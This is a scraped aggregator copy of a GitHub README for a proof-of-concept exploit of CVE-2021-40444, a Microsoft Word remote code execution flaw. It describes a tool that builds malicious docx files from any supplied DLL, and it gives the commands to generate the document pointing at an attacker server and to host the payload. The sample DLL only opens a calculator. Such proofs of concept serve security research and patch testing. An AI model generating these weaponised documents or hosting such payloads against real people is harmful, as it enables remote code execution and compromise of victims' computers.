GitHub - lockedbyte/CVE-2021-40444: CVE-2021-40444 PoC
source link: https://github.com/lockedbyte/CVE-2021-40444
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
CVE-2021-40444 PoC
Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution)
Creation of this Script is based on some reverse engineering over the sample used in-the-wild: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (docx file)
You need to install lcab first (sudo apt-get install lcab)
Check REPRODUCE.md for manual reproduce steps
If your generated cab is not working, try pointing out exploit.html URL to calc.cab
Using
First generate a malicious docx document given a DLL, you can use the one at test/calc.dll which just pops a calc.exe from a call to system()
python3 exploit.py generate test/calc.dll http://<SRV IP>
Once you generate the malicious docx (will be at out/) you can setup the server:
sudo python3 exploit.py host 80
Finally try the docx in a Windows Virtual Machine:
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK